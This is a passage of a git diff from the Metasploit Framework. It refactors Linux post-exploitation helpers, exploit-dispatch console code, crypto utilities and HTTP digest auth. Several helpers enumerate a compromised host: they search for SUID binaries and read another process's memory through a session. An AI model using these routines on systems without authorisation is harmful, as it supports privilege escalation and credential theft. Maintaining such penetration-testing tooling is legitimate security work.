nwords_file(file), nchars_file(file), file] - end - - def nchars_file(file) - nchars = 0 - lines = read_file(file).split("\n") - nchars = lines.length() - lines.each do |line| - line.gsub(/[ ]/, ' ' => '') - nchars_line = line.length() - nchars = nchars + nchars_line - end - return nchars end - - def nwords_file(file) - nwords = 0 - lines = read_file(file).split("\n") - lines.each do |line| - words = line.split(" ") - nwords_line = words.length() - nwords = nwords + nwords_line - end - return nwords - end - - def nlines_file(file) - lines = read_file(file).split("\n") - nlines = lines.length() - return nlines - end - - def head_cmd(file, nlines) - lines = read_file(file).split("\n") - result = lines[0..nlines-1] - return result - end - - def tail_cmd(file, nlines) - lines = read_file(file).split("\n") - result = lines[-1*(nlines)..-1] - return result - end - - def grep_cmd(file, string) - result = [] - lines = read_file(file).split("\n") - - lines.each do |line| - if line.include?(string) - result.insert(-1, line) - end - end - return result - end - - - -end # Priv -end # Linux -end # Post -end # Msf +end diff --git a/lib/msf/core/post/linux/process.rb b/lib/msf/core/post/linux/process.rb index 7f6ecc9cd257e..cd45162929710 100644 --- a/lib/msf/core/post/linux/process.rb +++ b/lib/msf/core/post/linux/process.rb @@ -1,36 +1,42 @@ # -*- coding: binary -*- +require 'rex/post' module Msf -class Post -module Linux + class Post + module Linux + module Process + include Msf::Post::Process -module Process + def initialize(info = {}) + super( + update_info( + info, + 'Compat' => { + 'Meterpreter' => { + 'Commands' => %w[ + stdapi_sys_process_attach + stdapi_sys_process_memory_read + ] + } + } + ) + ) + end - include Msf::Post::Process - - def initialize(info = {}) - super( - update_info( - info, - 'Compat' => { - 'Meterpreter' => { - 'Commands' => %w[ - stdapi_sys_process_attach - stdapi_sys_process_memory_read - ] - } - } - ) - ) - end - - def mem_read(base_address, length, pid: 0) - proc_id = session.sys.process.open(pid, PROCESS_READ) - data = proc_id.memory.read(base_address, length) + # + # Reads a specified length of memory from a given base address of a process + # + # @param base_address [Integer] the starting address to read from + # @param length [Integer] the number of bytes to read + # @param pid [Integer] the process ID (optional, default is 0) + # @return [String] the read memory content + # + def mem_read(base_address, length, pid: 0) + proc_id = session.sys.process.open(pid, PROCESS_READ) + proc_id.memory.read(base_address, length) + end + end + end end - -end # Process -end # Linux -end # Post -end # Msf +end diff --git a/lib/msf/core/post/linux/system.rb b/lib/msf/core/post/linux/system.rb index de658fe748b0e..b6913c280cb06 100644 --- a/lib/msf/core/post/linux/system.rb +++ b/lib/msf/core/post/linux/system.rb @@ -7,6 +7,7 @@ module System include ::Msf::Post::Common include ::Msf::Post::File include ::Msf::Post::Unix + include Msf::Auxiliary::Report # # Returns a Hash containing Distribution Name, Version and Kernel Information @@ -14,12 +15,38 @@ module System def get_sysinfo system_data = {} etc_files = cmd_exec('ls /etc').split - kernel_version = cmd_exec('uname -a') system_data[:kernel] = kernel_version - # Debian - if etc_files.include?('debian_version') + # The order of these checks is important. + # * Checks for Arch-based distros must be performed before the check for Arch. + # * Checks for Antix-based distros must be performed before the check for Antix. + # * Checks for Debian-based distros must be performed before the check for Debian. + # * Checks for distros which ship with '/etc/system-release' must be performed + # prior to the 'system-release' check. + # * Checks for distros which ship with '/etc/issue' must be performed + # prior to the Generic 'issue' check. + + # MX Linux + if etc_files.include?('mx-version') + version = read_file('/etc/mx-version').gsub(/\n|\\n|\\l/, '').strip + system_data[:distro] = 'mxlinux' + system_data[:version] = version + + # AntiX + elsif etc_files.include?('antix-version') + version = read_file('/etc/antix-version').gsub(/\n|\\n|\\l/, '').strip + system_data[:distro] = 'antix' + system_data[:version] = version + + # OpenMandriva + elsif etc_files.include?('openmandriva-release') + version = read_file('/etc/openmandriva-release').gsub(/\n|\\n|\\l/, '').strip + system_data[:distro] = 'openmandriva' + system_data[:version] = version + + # Debian / Ubuntu (and forks) + elsif etc_files.include?('debian_version') version = read_file('/etc/issue').gsub(/\n|\\n|\\l/, '').strip if kernel_version =~ /Ubuntu/ system_data[:distro] = 'ubuntu' @@ -64,6 +91,12 @@ def get_sysinfo system_data[:distro] = 'redhat' system_data[:version] = version + # Manjaro + elsif etc_files.include?('manjaro-release') + version = read_file('/etc/manjaro-release').gsub(/\n|\\n|\\l/, '').strip + system_data[:distro] = 'manjaro' + system_data[:version] = version + # Arch elsif etc_files.include?('arch-release') version = read_file('/etc/arch-release').gsub(/\n|\\n|\\l/, '').strip @@ -132,8 +165,10 @@ def get_sysinfo # Gathers all SUID files on the filesystem. # NOTE: This uses the Linux `find` command. It will most likely take a while to get all files. # Consider specifying a more narrow find path. + # # @param findpath The path on the system to start searching # @return [Array] + # def get_suid_files(findpath = '/') cmd_exec("find #{findpath} -perm -4000 -print -xdev").to_s.split("\n").delete_if { |i| i.include? 'Permission denied' } rescue StandardError @@ -142,7 +177,9 @@ def get_suid_files(findpath = '/') # # Gets the $PATH environment variable + # # @return [String] + # def get_path cmd_exec('echo $PATH').to_s rescue StandardError @@ -151,6 +188,7 @@ def get_path # # Gets basic information about the system's CPU. + # # @return [Hash] # def get_cpu_info @@ -171,6 +209,7 @@ def get_cpu_info # # Gets the hostname of the system + # # @return [String] # def get_hostname @@ -188,6 +227,7 @@ def get_hostname # # Gets the name of the current shell + # # @return [String] # def get_shell_name @@ -202,6 +242,7 @@ def get_shell_name # # Gets the pid of the current shell + # # @return [String] # def get_shell_pid @@ -210,6 +251,7 @@ def get_shell_pid # # Checks if the system has gcc installed + # # @return [Boolean] # def has_gcc? @@ -220,6 +262,7 @@ def has_gcc? # # Checks if the system has clang installed + # # @return [Boolean] # def has_clang? @@ -230,6 +273,7 @@ def has_clang? # # Checks if `file_path` is mounted on a noexec mount point + # # @return [Boolean] # def noexec?(file_path) @@ -245,6 +289,7 @@ def noexec?(file_path) # # Checks if `file_path` is mounted on a nosuid mount point + # # @return [Boolean] # def nosuid?(file_path) @@ -260,6 +305,7 @@ def nosuid?(file_path) # # Checks for protected hardlinks on the system + # # @return [Boolean] # def protected_hardlinks? @@ -270,6 +316,7 @@ def protected_hardlinks? # # Checks for protected symlinks on the system + # # @return [Boolean] # def protected_symlinks? @@ -280,18 +327,22 @@ def protected_symlinks? # # Gets the version of glibc + # # @return [String] # def glibc_version raise 'glibc is not installed' unless command_exists? 'ldd' + begin - cmd_exec('ldd --version').scan(/^ldd\s+\(.*\)\s+([\d.]+)/).flatten.first - rescue StandardError - raise 'Could not determine glibc version' + cmd_exec('ldd --version').scan(/^ldd\s+\(.*\)\s+([\d.]+)/).flatten.first + rescue StandardError + raise 'Could not determine glibc version' + end end # # Gets the mount point of `filepath` + # # @param [String] filepath The filepath to get the mount point # @return [String] # @@ -303,6 +354,7 @@ def get_mount_path(filepath) # # Gets all the IP directions of the device + # # @return [Array] # def ips @@ -323,6 +375,7 @@ def ips # # Gets all the interfaces of the device + # # @return [Array] # def interfaces @@ -338,6 +391,7 @@ def interfaces # # Gets all the macs of the device + # # @return [Array] # def macs @@ -354,9 +408,10 @@ def macs result end - # Parsing information based on: https://github.com/sensu-plugins/sensu-plugins-network-checks/blob/master/bin/check-netstat-tcp.rb # + # Parsing information based on: https://github.com/sensu-plugins/sensu-plugins-network-checks/blob/master/bin/check-netstat-tcp.rb # Gets all the listening tcp ports in the device + # # @return [Array] # def listen_tcp_ports @@ -377,8 +432,8 @@ def listen_tcp_ports end # Parsing information based on: https://github.com/sensu-plugins/sensu-plugins-network-checks/blob/master/bin/check-netstat-tcp.rb - # # Gets all the listening udp ports in the device + # # @return [Array] # def listen_udp_ports @@ -400,6 +455,7 @@ def listen_udp_ports # # Determine if system is a container + # # @return [String] # def get_container_type @@ -421,6 +477,8 @@ def get_container_type return 'Docker' when /lxc/i return 'LXC' + else + return 'Unknown' end else # Check for the "container" environment variable @@ -443,11 +501,7 @@ def get_container_type end container_type end - # System end - # Linux end - # Post end - # Msf end diff --git a/lib/msf/core/session.rb b/lib/msf/core/session.rb index d28eb65c5f8c4..9add2cb91b417 100644 --- a/lib/msf/core/session.rb +++ b/lib/msf/core/session.rb @@ -187,9 +187,17 @@ def set_via(opts) # exploit instance. Store references from and to the exploit module. # def set_from_exploit(m) + target_host = nil + unless m.target_host.blank? + # only propagate the target_host value if it's exactly 1 host + if (rw = Rex::Socket::RangeWalker.new(m.target_host)).length == 1 + target_host = rw.next_ip + end + end + self.via = { 'Exploit' => m.fullname } self.via['Payload'] = ('payload/' + m.datastore['PAYLOAD'].to_s) if m.datastore['PAYLOAD'] - self.target_host = Rex::Socket.getaddress(m.target_host) if (m.target_host.to_s.strip.length > 0) + self.target_host = target_host self.target_port = m.target_port if (m.target_port.to_i != 0) self.workspace = m.workspace self.username = m.owner diff --git a/lib/msf/ui/console/command_dispatcher/auxiliary.rb b/lib/msf/ui/console/command_dispatcher/auxiliary.rb index f4c66077f283b..81abc01674726 100644 --- a/lib/msf/ui/console/command_dispatcher/auxiliary.rb +++ b/lib/msf/ui/console/command_dispatcher/auxiliary.rb @@ -60,16 +60,9 @@ def cmd_run(*args, action: nil, opts: {}) rhosts = mod_with_opts.datastore['RHOSTS'] rhosts_walker = Msf::RhostsWalker.new(rhosts, mod_with_opts.datastore) - begin - mod_with_opts.validate - rescue ::Msf::OptionValidateError => e - ::Msf::Ui::Formatter::OptionValidateError.print_error(mod_with_opts, e) - return false - end - begin # Check if this is a scanner module or doesn't target remote hosts - if rhosts.blank? || mod.class.included_modules.include?(Msf::Auxiliary::Scanner) + if rhosts.blank? || mod.class.included_modules.include?(Msf::Auxiliary::MultipleTargetHosts) mod_with_opts.run_simple( 'Action' => args[:action], 'LocalInput' => driver.input, @@ -79,6 +72,8 @@ def cmd_run(*args, action: nil, opts: {}) ) # For multi target attempts with non-scanner modules. else + # When RHOSTS is split, the validation changes slightly, so perform it reports the host the validation failed for + mod_with_opts.validate rhosts_walker.each do |datastore| mod_with_opts = mod.replicant mod_with_opts.datastore.merge!(datastore) @@ -102,15 +97,14 @@ def cmd_run(*args, action: nil, opts: {}) rescue ::Interrupt print_error("Auxiliary interrupted by the console user") rescue ::Msf::OptionValidateError => e - ::Msf::Ui::Formatter::OptionValidateError.print_error(running_mod, e) + ::Msf::Ui::Formatter::OptionValidateError.print_error(mod_with_opts, e) + return false rescue ::Exception => e print_error("Auxiliary failed: #{e.class} #{e}") - if(e.class.to_s != 'Msf::OptionValidateError') - print_error("Call stack:") - e.backtrace.each do |line| - break if line =~ /lib.msf.base.simple/ - print_error(" #{line}") - end + print_error("Call stack:") + e.backtrace.each do |line| + break if line =~ /lib.msf.base.simple/ + print_error(" #{line}") end return false diff --git a/lib/msf/ui/console/command_dispatcher/exploit.rb b/lib/msf/ui/console/command_dispatcher/exploit.rb index 392fccbf86d22..b4d945434b548 100644 --- a/lib/msf/ui/console/command_dispatcher/exploit.rb +++ b/lib/msf/ui/console/command_dispatcher/exploit.rb @@ -40,9 +40,9 @@ def name # # Launches an exploitation single attempt. # - def exploit_single(mod, opts) + def exploit_single(mod, opts, &block) begin - session = mod.exploit_simple(opts) + session = mod.exploit_simple(opts, &block) rescue ::Interrupt raise $! rescue ::Msf::OptionValidateError => e @@ -136,21 +136,16 @@ def cmd_exploit(*args, opts: {}) 'Quiet' => args[:quiet] || false } - begin - mod_with_opts.validate - rescue ::Msf::OptionValidateError => e - ::Msf::Ui::Formatter::OptionValidateError.print_error(mod_with_opts, e) - return false - end - driver.run_single('reload_lib -a') if args[:reload_libs] - if rhosts && has_rhosts_option + if rhosts && has_rhosts_option && !mod.class.included_modules.include?(Msf::Auxiliary::MultipleTargetHosts) rhosts_walker = Msf::RhostsWalker.new(rhosts, mod_with_opts.datastore) rhosts_walker_count = rhosts_walker.count rhosts_walker = rhosts_walker.to_enum end + run_mod = nil + # For multiple targets exploit attempts. if rhosts_walker && rhosts_walker_count > 1 opts[:multi] = true @@ -163,7 +158,7 @@ def cmd_exploit(*args, opts: {}) # Catch the interrupt exception to stop the whole module during exploit begin print_status("Exploiting target #{datastore['RHOSTS']}") - session = exploit_single(nmod, opts) + session = exploit_single(nmod, opts) { |mod| run_mod = mod } rescue ::Interrupt print_status("Stopping exploiting current target #{datastore['RHOSTS']}...") print_status("Control-C again to force quit exploiting all targets.") @@ -185,7 +180,7 @@ def cmd_exploit(*args, opts: {}) if rhosts_walker && rhosts_walker_count == 1 nmod.datastore.merge!(rhosts_walker.next) end - session = exploit_single(nmod, opts) + session = exploit_single(nmod, opts) { |mod| run_mod = mod } # If we were given a session, let's see what we can do with it if session any_session = true @@ -211,7 +206,7 @@ def cmd_exploit(*args, opts: {}) end # If we didn't get any session and exploit ended launch. - unless any_session + unless any_session || run_mod&.error.is_a?(Msf::OptionValidateError) # If we didn't run a payload handler for this exploit it doesn't # make sense to complain to the user that we didn't get a session unless mod_with_opts.datastore["DisablePayloadHandler"] diff --git a/lib/msf/ui/console/command_dispatcher/modules.rb b/lib/msf/ui/console/command_dispatcher/modules.rb index 10c844bccda0a..f605a9d008286 100644 --- a/lib/msf/ui/console/command_dispatcher/modules.rb +++ b/lib/msf/ui/console/command_dispatcher/modules.rb @@ -380,7 +380,7 @@ def cmd_search_help print_line print_line "Keywords:" { - 'adapter' => 'Modules with a matching adater reference name', + 'adapter' => 'Modules with a matching adapter reference name', 'aka' => 'Modules with a matching AKA (also-known-as) name', 'author' => 'Modules written by this author', 'arch' => 'Modules affecting this architecture', diff --git a/lib/msf_autoload.rb b/lib/msf_autoload.rb index 1255d96c28aee..6ec391e03ac59 100644 --- a/lib/msf_autoload.rb +++ b/lib/msf_autoload.rb @@ -298,7 +298,9 @@ def custom_inflections 'uds_errors' => 'UDSErrors', 'smb_hash_capture' => 'SMBHashCapture', 'rex_ntlm' => 'RexNTLM', - 'teamcity' => 'TeamCity' + 'teamcity' => 'TeamCity', + 'nist_sp_800_38f' => 'NIST_SP_800_38f', + 'nist_sp_800_108' => 'NIST_SP_800_108' } end diff --git a/lib/rex/crypto/key_derivation.rb b/lib/rex/crypto/key_derivation.rb new file mode 100644 index 0000000000000..8ebb6f9964f29 --- /dev/null +++ b/lib/rex/crypto/key_derivation.rb @@ -0,0 +1,3 @@ +module Rex::Crypto::KeyDerivation + require 'rex/crypto/key_derivation/nist_sp_800_108' +end diff --git a/lib/rex/crypto/key_derivation/nist_sp_800_108.rb b/lib/rex/crypto/key_derivation/nist_sp_800_108.rb new file mode 100644 index 0000000000000..55095fbbb9107 --- /dev/null +++ b/lib/rex/crypto/key_derivation/nist_sp_800_108.rb @@ -0,0 +1,45 @@ +require 'openssl' + +module Rex::Crypto::KeyDerivation::NIST_SP_800_108 + + # Generates key material using the NIST SP 800-108 R1 counter mode KDF. + # + # @param length [Integer] The desired output length of each key in bytes. + # @param prf [Proc] The pseudorandom function used for key derivation. + # @param keys [Integer] The number of derived keys to generate. + # @param label [String] Optional label to distinguish different derivations. + # @param context [String] Optional context to bind the key derivation to specific information. + # + # @return [Array] An array of derived keys as binary strings, regardless of the number requested. + def self.counter(length, prf, keys: 1, label: ''.b, context: ''.b) + key_block = '' + + counter = 0 + while key_block.length < (length * keys) + counter += 1 + raise RangeError.new("counter overflow") if counter > 0xffffffff + + info = [ counter ].pack('L>') + label + "\x00".b + context + [ length * keys * 8 ].pack('L>') + key_block << prf.call(info) + end + + key_block.bytes.each_slice(length).to_a[...keys].map { |slice| slice.pack('C*') } + end + + # Generates key material using the NIST SP 800-108 R1 counter mode KDF with HMAC. + # + # @param secret [String] The secret key used as the HMAC key. + # @param length [Integer] The desired output length of each key in bytes. + # @param algorithm [String, Symbol] The HMAC hash algorithm (e.g., `SHA256`, `SHA512`). + # @param keys [Integer] The number of derived keys to generate (default: 1). + # @param label [String] Optional label to distinguish different derivations. + # @param context [String] Optional context to bind the key derivation to specific information. + # + # @return [Array] Returns an array of derived keys. + # + # @raise [ArgumentError] If the requested length is invalid or the algorithm is unsupported. + def self.counter_hmac(secret, length, algorithm, keys: 1, label: ''.b, context: ''.b) + prf = -> (data) { OpenSSL::HMAC.digest(algorithm, secret, data) } + counter(length, prf, keys: keys, label: label, context: context) + end +end diff --git a/lib/rex/crypto/key_wrap.rb b/lib/rex/crypto/key_wrap.rb new file mode 100644 index 0000000000000..6eaea3ef6afae --- /dev/null +++ b/lib/rex/crypto/key_wrap.rb @@ -0,0 +1,3 @@ +module Rex::Crypto::KeyWrap + require 'rex/crypto/key_wrap/nist_sp_800_38f' +end diff --git a/lib/rex/crypto/key_wrap/nist_sp_800_38f.rb b/lib/rex/crypto/key_wrap/nist_sp_800_38f.rb new file mode 100644 index 0000000000000..b848a0e00ecd6 --- /dev/null +++ b/lib/rex/crypto/key_wrap/nist_sp_800_38f.rb @@ -0,0 +1,52 @@ +# see: [NIST SP 800-38F, Section 6.2](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-38F.pdf) +module Rex; end +module Rex::Crypto; end +module Rex::Crypto::KeyWrap; end + +module Rex::Crypto::KeyWrap::NIST_SP_800_38f + + # Performs AES key unwrapping from NIST SP 800-38F. + # + # @param kek [String] The key-encryption key (KEK) used to unwrap the ciphertext. + # @param key_data [String] The wrapped key data. + # @param authenticate [Boolean] Whether to check the data integrity or not. + # @return [String, nil] The unwrapped key on success, or nil if unwrapping fails. + # + # @see https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-38F.pdf + def self.aes_unwrap(kek, key_data, authenticate: true) + # padded mode as described in Section 6.3 is not supported at this time + raise Rex::ArgumentError.new('kek must be 16, 24 or 32-bytes long') unless [16, 24, 32].include?(kek.length) + raise Rex::ArgumentError.new('key_data length must be a multiple of 8') unless key_data.length % 8 == 0 + icv1 = ("\xa6".b * 8) + + r = key_data.bytes.each_slice(8).map { |c| c.pack('C*') } + a = r.shift + + ciph = -> (data) do + # per-section 5.1, AES is the only suitable block cipher + cipher = OpenSSL::Cipher::AES.new(kek.length * 8, :ECB).decrypt + cipher.key = kek + cipher.padding = 0 + cipher.update(data) + end + + n = r.length + + 5.downto(0) do |j| + (n - 1).downto(0) do |i| + atr = [a.unpack1('Q>') ^ ((n * j) + i + 1)].pack('Q>') + r[i] + + b = ciph.call(atr) + a = b[...8] + r[i] = b[-8...] + end + end + + # setting authenticate to true effectively switches the operation from Section 6.2 algorithm #2 to algorithm #4 + if authenticate && a != icv1 + raise Rex::RuntimeError.new('ICV1 integrity check failed in KW-AD(C)') + end + + r.join('') + end +end \ No newline at end of file diff --git a/lib/rex/proto/crypto_asn1/cms.rb b/lib/rex/proto/crypto_asn1/cms.rb new file mode 100755 index 0000000000000..5c69b5b6441fb --- /dev/null +++ b/lib/rex/proto/crypto_asn1/cms.rb @@ -0,0 +1,252 @@ +module Rex::Proto::CryptoAsn1::Cms + class Attribute < RASN1::Model + sequence :attribute, + content: [objectid(:attribute_type), + set_of(:attribute_values, RASN1::Types::Any) + ] + end + + class Certificate + # Rather than specifying the entire structure of a certificate, we pass this off + # to OpenSSL, effectively providing an interface between RASN and OpenSSL. + + attr_accessor :options + + def initialize(options={}) + self.options = options + end + + def to_der + self.options[:openssl_certificate]&.to_der || '' + end + + # RASN1 Glue method - Say if DER can be built (not default value, not optional without value, has a value) + # @return [Boolean] + # @since 0.12 + def can_build? + !to_der.empty? + end + + # RASN1 Glue method + def primitive? + false + end + + # RASN1 Glue method + def value + options[:openssl_certificate] + end + + def parse!(str, ber: false) + self.options[:openssl_certificate] = OpenSSL::X509::Certificate.new(str) + to_der.length + end + end + + class AlgorithmIdentifier < RASN1::Model + sequence :algorithm_identifier, + content: [objectid(:algorithm), + any(:parameters, optional: true) + ] + end + + class KeyDerivationAlgorithmIdentifier < AlgorithmIdentifier + end + + class KeyEncryptionAlgorithmIdentifier < AlgorithmIdentifier + end + + class ContentEncryptionAlgorithmIdentifier < AlgorithmIdentifier + end + + class OriginatorInfo < RASN1::Model + sequence :originator_info, + content: [set_of(:certs, Certificate, implicit: 0, optional: true), + # CRLs - not implemented + ] + end + + class ContentType < RASN1::Types::ObjectId + end + + class EncryptedContent < RASN1::Types::OctetString + end + + class EncryptedContentInfo < RASN1::Model + sequence :encrypted_content_info, + content: [model(:content_type, ContentType), + model(:content_encryption_algorithm, ContentEncryptionAlgorithmIdentifier), + wrapper(model(:encrypted_content, EncryptedContent), implicit: 0, optional: true) + ] + end + + class Name + # Rather than specifying the entire structure of a name, we pass this off + # to OpenSSL, effectively providing an interface between RASN and OpenSSL. + attr_accessor :value + + def initialize(options={}) + end + + def parse!(str, ber: false) + self.value = OpenSSL::X509::Name.new(str) + to_der.length + end + + def to_der + self.value.to_der + end + end + + class IssuerAndSerialNumber < RASN1::Model + sequence :signer_identifier, + content: [model(:issuer, Name), + integer(:serial_number) + ] + end + + class CmsVersion < RASN1::Types::Integer + end + + class SubjectKeyIdentifier < RASN1::Types::OctetString + end + + class UserKeyingMaterial < RASN1::Types::OctetString + end + + class RecipientIdentifier < RASN1::Model + choice :recipient_identifier, + content: [model(:issuer_and_serial_number, IssuerAndSerialNumber), + wrapper(model(:subject_key_identifier, SubjectKeyIdentifier), implicit: 0)] + end + + class EncryptedKey < RASN1::Types::OctetString + end + + class OtherKeyAttribute < RASN1::Model + sequence :other_key_attribute, + content: [objectid(:key_attr_id), + any(:key_attr, optional: true) + ] + end + + class RecipientKeyIdentifier < RASN1::Model + sequence :recipient_key_identifier, + content: [model(:subject_key_identifier, SubjectKeyIdentifier), + generalized_time(:date, optional: true), + wrapper(model(:other, OtherKeyAttribute), optional: true) + ] + + end + + class KeyAgreeRecipientIdentifier < RASN1::Model + choice :key_agree_recipient_identifier, + content: [model(:issuer_and_serial_number, IssuerAndSerialNumber), + wrapper(model(:r_key_id, RecipientKeyIdentifier), implicit: 0)] + end + + class RecipientEncryptedKey < RASN1::Model + sequence :recipient_encrypted_key, + content: [model(:rid, KeyAgreeRecipientIdentifier), + model(:encrypted_key, EncryptedKey)] + end + + class KEKIdentifier < RASN1::Model + sequence :kek_identifier, + content: [octet_string(:key_identifier), + generalized_time(:date, optional: true), + wrapper(model(:other, OtherKeyAttribute), optional: true)] + end + + class KeyTransRecipientInfo < RASN1::Model + sequence :key_trans_recipient_info, + content: [model(:cms_version, CmsVersion), + model(:rid, RecipientIdentifier), + model(:key_encryption_algorithm, KeyEncryptionAlgorithmIdentifier), + model(:encrypted_key, EncryptedKey) + ] + end + + class OriginatorPublicKey < RASN1::Model + sequence :originator_public_key, + content: [model(:algorithm, AlgorithmIdentifier), + bit_string(:public_key)] + end + + class OriginatorIdentifierOrKey < RASN1::Model + choice :originator_identifier_or_key, + content: [model(:issuer_and_serial_number, IssuerAndSerialNumber), + model(:subject_key_identifier, SubjectKeyIdentifier), + model(:originator_public_key, OriginatorPublicKey) + ] + end + + class KeyAgreeRecipientInfo < RASN1::Model + sequence :key_agree_recipient_info, + content: [model(:cms_version, CmsVersion), + wrapper(model(:originator, OriginatorIdentifierOrKey), explicit: 0), + wrapper(model(:ukm, UserKeyingMaterial), explicit: 1, optional: true), + model(:key_encryption_algorithm, KeyEncryptionAlgorithmIdentifier), + sequence_of(:recipient_encrypted_keys, RecipientEncryptedKey) + ] + end + + class KEKRecipientInfo < RASN1::Model + sequence :kek_recipient_info, + content: [model(:cms_version, CmsVersion), + model(:kekid, KEKIdentifier), + model(:key_encryption_algorithm, KeyEncryptionAlgorithmIdentifier), + model(:encrypted_key, EncryptedKey) + ] + end + + class PasswordRecipientInfo < RASN1::Model + sequence :password_recipient_info, + content: [model(:cms_version, CmsVersion), + wrapper(model(:key_derivation_algorithm, KeyDerivationAlgorithmIdentifier), explicit: 0, optional: true), + model(:key_encryption_algorithm, KeyEncryptionAlgorithmIdentifier), + model(:encrypted_key, EncryptedKey) + ] + end + + class OtherRecipientInfo < RASN1::Model + sequence :other_recipient_info, + content: [objectid(:ore_type), + any(:ory_value) + ] + end + + class RecipientInfo < RASN1::Model + choice :recipient_info, + content: [model(:ktri, KeyTransRecipientInfo), + wrapper(model(:kari, KeyAgreeRecipientInfo), implicit: 1), + wrapper(model(:kekri, KEKRecipientInfo), implicit: 2), + wrapper(model(:pwri, PasswordRecipientInfo), implicit: 3), + wrapper(model(:ori, OtherRecipientInfo), implicit: 4)] + end + + class EnvelopedData < RASN1::Model + sequence :enveloped_data, + explicit: 0, constructed: true, + content: [model(:cms_version, CmsVersion), + wrapper(model(:originator_info, OriginatorInfo), implict: 0, optional: true), + set_of(:recipient_infos, RecipientInfo), + model(:encrypted_content_info, EncryptedContentInfo), + set_of(:unprotected_attrs, Attribute, implicit: 1, optional: true), + ] + end + + class ContentInfo < RASN1::Model + sequence :content_info, + content: [model(:content_type, ContentType), + # In our case, expected to be EnvelopedData + any(:data) + ] + + def enveloped_data + if self[:content_type].value == Rex::Proto::CryptoAsn1::OIDs::OID_CMS_ENVELOPED_DATA.value + EnvelopedData.parse(self[:data].value) + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/crypto_asn1/o_i_ds.rb b/lib/rex/proto/crypto_asn1/o_i_ds.rb index 104ec7c4e1644..1a19416265334 100644 --- a/lib/rex/proto/crypto_asn1/o_i_ds.rb +++ b/lib/rex/proto/crypto_asn1/o_i_ds.rb @@ -62,6 +62,13 @@ class OIDs OID_ROOT_LIST_SIGNER = ObjectId.new('1.3.6.1.4.1.311.10.3.9', name: 'OID_ROOT_LIST_SIGNER', label: 'Root List Signer') OID_WHQL_CRYPTO = ObjectId.new('1.3.6.1.4.1.311.10.3.5', name: 'OID_WHQL_CRYPTO', label: 'Windows Hardware Driver Verification') + OID_CMS_ENVELOPED_DATA = ObjectId.new('1.2.840.113549.1.7.3', name: 'OID_CMS_ENVELOPED_DATA', label: 'PKCS#7 CMS Enveloped Data') + + OID_DES_EDE3_CBC = ObjectId.new('1.2.840.113549.3.7', name: 'OID_DES_EDE_CBC', label: 'Triple DES encryption in CBC mode') + OID_AES256_CBC = ObjectId.new('2.16.840.1.101.3.4.1.42', name: 'OID_AES256_CBC', label: 'AES256 in CBC mode') + OID_RSA_ENCRYPTION = ObjectId.new('1.2.840.113549.1.1.1', name: 'OID_RSA_ENCRYPTION', label: 'RSA public key encryption') + OID_RSAES_OAEP = ObjectId.new('1.2.840.113549.1.1.7', name: 'OID_RSAES_OAEP', label: 'RSA public key encryption with OAEP padding') + def self.name(value) value = ObjectId.new(value) if value.is_a?(String) diff --git a/lib/rex/proto/http/auth_digest.rb b/lib/rex/proto/http/auth_digest.rb new file mode 100644 index 0000000000000..ba5c4580a7a94 --- /dev/null +++ b/lib/rex/proto/http/auth_digest.rb @@ -0,0 +1,89 @@ +require 'digest' +require 'rex/text' + +module Rex + module Proto + module Http + class AuthDigest + + def make_cnonce + Digest::MD5.hexdigest '%x' % (::Time.now.to_i + rand(65535)) + end + + def digest(digest_user, digest_password, method, path, parameters, iis = false) + cnonce = make_cnonce + nonce_count = 1 + + qop = parameters['qop'] + + if parameters['algorithm'] =~ /(.*?)(-sess)?$/ + algorithm = case ::Regexp.last_match(1) + when 'MD5' then Digest::MD5 + when 'MD-5' then Digest::MD5 + when 'SHA1' then Digest::SHA1 + when 'SHA-1' then Digest::SHA1 + when 'SHA2' then Digest::SHA2 + when 'SHA-2' then Digest::SHA2 + when 'SHA256' then Digest::SHA256 + when 'SHA-256' then Digest::SHA256 + when 'SHA384' then Digest::SHA384 + when 'SHA-384' then Digest::SHA384 + when 'SHA512' then Digest::SHA512 + when 'SHA-512' then Digest::SHA512 + when 'RMD160' then Digest::RMD160 + else raise "unknown algorithm \"#{::Regexp.last_match(1)}\"" + end + algstr = parameters['algorithm'] + sess = ::Regexp.last_match(2) + else + algorithm = Digest::MD5 + algstr = 'MD5' + sess = false + end + a1 = if sess + [ + algorithm.hexdigest("#{digest_user}:#{parameters['realm']}:#{digest_password}"), + parameters['nonce'], + cnonce + ].join ':' + else + "#{digest_user}:#{parameters['realm']}:#{digest_password}" + end + + ha1 = algorithm.hexdigest(a1) + ha2 = algorithm.hexdigest("#{method}:#{path}") + + request_digest = [ha1, parameters['nonce']] + request_digest.push(('%08x' % nonce_count), cnonce, qop) if qop + request_digest << ha2 + request_digest = request_digest.join ':' + # Same order as IE7 + return [ + "Digest username=\"#{digest_user}\"", + "realm=\"#{parameters['realm']}\"", + "nonce=\"#{parameters['nonce']}\"", + "uri=\"#{path}\"", + "cnonce=\"#{cnonce}\"", + "nc=#{'%08x' % nonce_count}", + "algorithm=#{algstr}", + "response=\"#{algorithm.hexdigest(request_digest)}\"", + # The spec says the qop value shouldn't be enclosed in quotes, but + # some versions of IIS require it and Apache accepts it. Chrome + # and Firefox both send it without quotes but IE does it this way. + # Use the non-compliant-but-everybody-does-it to be as compatible + # as possible by default. The user can override if they don't like + # it. + if iis + "qop=\"#{qop}\"" + else + "qop=#{qop}" + end, + if parameters.key? 'opaque' + "opaque=\"#{parameters['opaque']}\"" + end + ].compact + end + end + end + end +end diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index b3719ab2de675..e47108affd17a 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -1,823 +1,744 @@ # -*- coding: binary -*- + require 'rex/socket' require 'rex/text' require 'digest' - module Rex -module Proto -module Http - -### -# -# Acts as a client to an HTTP server, sending requests and receiving responses. -# -# See the RFC: http://www.w3.org/Protocols/rfc2616/rfc2616.html -# -### -class Client - - # - # Creates a new client instance - # @param http_trace_proc_request [Proc] A proc object passed to log HTTP requests if HTTP-Trace is set - # @param http_trace_proc_response [Proc] A proc object passed to log HTTP responses if HTTP-Trace is set - # - def initialize(host, port = 80, context = {}, ssl = nil, ssl_version = nil, proxies = nil, username = '', password = '', kerberos_authenticator: nil, comm: nil, subscriber: nil) - self.hostname = host - self.port = port.to_i - self.context = context - self.ssl = ssl - self.ssl_version = ssl_version - self.proxies = proxies - self.username = username - self.password = password - self.kerberos_authenticator = kerberos_authenticator - self.comm = comm - self.subscriber = subscriber || 